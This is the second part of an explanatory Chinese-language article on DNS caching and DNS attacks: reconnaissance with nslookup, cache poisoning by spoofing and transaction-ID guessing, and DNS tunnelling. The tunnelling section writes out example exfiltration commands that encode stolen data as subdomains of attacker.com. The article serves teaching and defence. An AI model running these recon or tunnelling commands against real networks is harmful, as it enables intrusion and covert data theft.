DNS系統(tǒng)原理及漏洞利用分析(下)
四、DNS緩存
如果每次有任何用戶試圖訪問www.dingxinsec.com.cn,都必須向權(quán)限域名服務(wù)器發(fā)起對(duì)該域名的查詢請(qǐng)求,將會(huì)產(chǎn)生大量的網(wǎng)絡(luò)流量!因此,為了使計(jì)算機(jī)不用在每一次訪問某個(gè)域名時(shí)都向DNS服務(wù)器發(fā)起IP查詢請(qǐng)求,計(jì)算機(jī)上通常會(huì)存儲(chǔ)一個(gè)自身的域名-IP映射庫,這個(gè)映射庫被稱為“DNS緩存”。
- 加快DNS請(qǐng)求響應(yīng)速度
- 減少DNS請(qǐng)求在互聯(lián)網(wǎng)上占用的帶寬
但是,DNS緩存方法也存在一些問題,包括:
- DNS信息的變化需要一定的時(shí)間才能傳播開——這意味著,所有DNS服務(wù)器都將其緩存更新為最新的IP數(shù)據(jù)之前,往往需要一段時(shí)間
- 攻擊者可能利用DNS緩存發(fā)起攻擊
DNS緩存有以下幾種不同的類型:
- 瀏覽器DNS緩存:目前大多數(shù)瀏覽器均內(nèi)置了DNS緩存功能,使用本地緩存方式實(shí)現(xiàn)DNS解析通常快速且高效。
- 操作系統(tǒng)(OS)DNS緩存:目前,大多數(shù)用戶計(jì)算機(jī)操作系統(tǒng)均具備DNS客戶端,可用于管理DNS解析和請(qǐng)求。此類DNS緩存也是本地化的,因此速度快且無需占用帶寬。
- 遞歸解析DNS緩存:每個(gè)DNS遞歸服務(wù)器中都有DNS緩存,用于存儲(chǔ)可向其發(fā)起下一步請(qǐng)求的IP。
五、DNS常見漏洞
- 用戶內(nèi)部DNS服務(wù)器會(huì)存儲(chǔ)用戶網(wǎng)絡(luò)域中所有服務(wù)器的內(nèi)部域名與IP,并能夠在無需身份認(rèn)證的情況下實(shí)施訪問。這使得DNS成為攻擊者在內(nèi)網(wǎng)探測階段的重要信息來源。
- DNS緩存信息并非一定與權(quán)限域名服務(wù)器一致,攻擊者有可能篡改DNS緩存,如果用戶內(nèi)網(wǎng)的DNS服務(wù)器被攻擊篡改,則使用該DNS服務(wù)器發(fā)起域名訪問的計(jì)算機(jī)就會(huì)被誘騙到錯(cuò)誤的服務(wù)器。
- DNS服務(wù)器可能將內(nèi)網(wǎng)的域名查詢從內(nèi)網(wǎng)工作站遞歸轉(zhuǎn)發(fā)至外網(wǎng)服務(wù)器,攻擊者可能利用此行為創(chuàng)建內(nèi)外網(wǎng)之間的“隱通道”來泄露內(nèi)網(wǎng)數(shù)據(jù)。
1. 利用DNS實(shí)施探測
一旦攻擊者穿透防火墻進(jìn)入用戶內(nèi)網(wǎng)并控制某臺(tái)計(jì)算機(jī),就可以利用內(nèi)網(wǎng)的DNS服務(wù)查找重要的服務(wù)器信息,如郵件服務(wù)器、域名服務(wù)器等各類有價(jià)值的信息。如果攻擊者具備足夠的技術(shù)能力,甚至可能利用內(nèi)部DNS服務(wù)器批量發(fā)送用戶網(wǎng)絡(luò)中區(qū)的信息,此類攻擊被稱為“DNS區(qū)傳輸攻擊”。
以下給出了在Windows操作系統(tǒng)環(huán)境中實(shí)現(xiàn)該攻擊的流程:
- 打開命令提示符(ctrl+ esc ➡️輸入字母“cmd” ➡️回車)
- 輸入“ipconfig”,將看到當(dāng)前計(jì)算機(jī)所在的域名、IP地址以及許多其他信息(后續(xù)命令中將會(huì)使用)
- 鍵入“nslookup[IP]”,將看到正在響應(yīng)請(qǐng)求的DNS服務(wù)器名稱,如果名稱已知,則會(huì)顯示列出名稱和IP地址的DNS記錄
- 鍵入“nslookup-type=soa [當(dāng)前計(jì)算機(jī)所在域名]”, 執(zhí)行此命令將返回當(dāng)前計(jì)算機(jī)的權(quán)限D(zhuǎn)NS服務(wù)器,如果您嘗試滲透網(wǎng)絡(luò),則不會(huì)很方便。
- 鍵入“nslookup-type=MX [當(dāng)前計(jì)算機(jī)所在域名]”,通過執(zhí)行該命令,攻擊者可以準(zhǔn)確獲知網(wǎng)內(nèi)郵件服務(wù)器的IP信息。
2. 利用DNS實(shí)施流量重定向
當(dāng)用戶嘗試瀏覽到某個(gè)網(wǎng)站時(shí),他們的計(jì)算機(jī)會(huì)在DNS服務(wù)器中查詢?cè)摼W(wǎng)站的IP。如果DNS服務(wù)器中存有該記錄的緩存,則將直接返回該IP。如果沒有,它會(huì)查詢“上游”DNS服務(wù)器,并將結(jié)果中繼給最終用戶,同時(shí)緩存該信息以供下次使用。
在目前已知的攻擊中,攻擊者已經(jīng)能夠偽造DNS響應(yīng)信息,使其看起來像是來自合法的DNS服務(wù)器。要達(dá)到這一目標(biāo),攻擊者可以利用DNS的三個(gè)弱點(diǎn):
- DNS對(duì)來自上游服務(wù)器的響應(yīng)僅執(zhí)行非常弱的認(rèn)證。響應(yīng)信息只需包含正確的事務(wù)ID(一個(gè)16位二進(jìn)制數(shù)字(0-65536))。事實(shí)證明,要猜出正確的事務(wù)ID,技術(shù)難度并不大。
- DNS服務(wù)器接受同時(shí)響應(yīng)多個(gè)查詢請(qǐng)求,因此攻擊者能夠同時(shí)對(duì)事務(wù)ID實(shí)施多次猜測(與暴力破解密碼思路類似)。
- DNS使用的IP連接很容易被偽造。這意味著攻擊者可以從一臺(tái)計(jì)算機(jī)向DNS服務(wù)器發(fā)送流量,使其看起來像來自另一臺(tái)計(jì)算機(jī),例如另一臺(tái)真實(shí)有效的DNS服務(wù)器。容易被偽造的IP連接類型并不多,不幸的是,DNS恰好是其中之一。
一旦攻擊者成功偽造了DNS響應(yīng)消息,則其可以實(shí)現(xiàn)篡改接收端DNS服務(wù)器的緩存。以下就以一個(gè)典型的場景說明這一攻擊行為可能造成的嚴(yán)重后果:
假設(shè)攻擊者了解到用戶單位使用外部應(yīng)用程序來處理經(jīng)費(fèi)等重要事務(wù)。如果攻擊者篡改了用戶單位DNS服務(wù)器的相關(guān)記錄,則能夠?qū)⒂脩粽T騙至攻擊者偽造的服務(wù)器,誘騙用戶在攻擊者偽造的登陸頁面上錄入其賬號(hào)及口令信息。
更有耐心的攻擊者還可能將真實(shí)流量轉(zhuǎn)發(fā)給真實(shí)的服務(wù)器(充當(dāng)“中間人”),因此用戶就不會(huì)發(fā)現(xiàn)攻擊正在發(fā)生。獲取用戶的身份信息后,攻擊者可以在其他相關(guān)系統(tǒng)上嘗試使用這些身份信息,或者直接出售這些信息。
3. 利用DNS構(gòu)建隱通道
假設(shè)攻擊者已經(jīng)設(shè)法進(jìn)入了用戶單位網(wǎng)絡(luò),控制了一臺(tái)內(nèi)網(wǎng)計(jì)算機(jī),并且已經(jīng)找到了其想要竊取的關(guān)鍵數(shù)據(jù)。如何在不留任何痕跡的情況下將數(shù)據(jù)傳輸?shù)骄W(wǎng)外?攻擊者可能使用一種被稱為“DNS隧道”的技術(shù)來實(shí)現(xiàn)。通常的做法如下:
(1)攻擊者在互聯(lián)網(wǎng)上設(shè)置一個(gè)DNS域(如attacker.com),并創(chuàng)建一個(gè)權(quán)限域名服務(wù)器
(2)在被攻擊者控制的主機(jī)上,攻擊者可以將數(shù)據(jù)分解為小段并將其插入到一系列DNS查詢中,如下所示:
- nslookup My1secret1.attacker.com
- nslookup is1that1I1know.attacker.com
- nsllookup your1data.attacker.com
(3)用戶單位的DNS服務(wù)器將接收這些請(qǐng)求,并將這些請(qǐng)求轉(zhuǎn)發(fā)回attacker.com的權(quán)限域名服務(wù)器。攻擊者在其權(quán)限域名服務(wù)器接收到上述流量后,則可以運(yùn)行程序以提取查詢信息的第一部分(.attacker.com前的內(nèi)容)并將其重新組合,從而將用戶網(wǎng)內(nèi)的數(shù)據(jù)不留痕跡地傳輸?shù)骄W(wǎng)外(此例中傳輸?shù)臄?shù)據(jù)是“My secret is that I know your data.”)。而用戶單位可能永遠(yuǎn)不會(huì)意識(shí)到他們的DNS服務(wù)器被用于泄露自身的數(shù)據(jù)。
六、小結(jié)
DNS技術(shù)已存在了很長時(shí)間,互聯(lián)網(wǎng)上的每臺(tái)計(jì)算機(jī)都依賴它。然而,利用DNS進(jìn)行內(nèi)網(wǎng)探測、劫持流量并創(chuàng)建隱蔽信道竊取數(shù)據(jù),都是DNS服務(wù)可能造成的安全問題。幸運(yùn)的是,通過監(jiān)控DNS服務(wù)器并應(yīng)用安全數(shù)據(jù)分析,目前已有大量技術(shù)可以檢測并阻止這些攻擊。























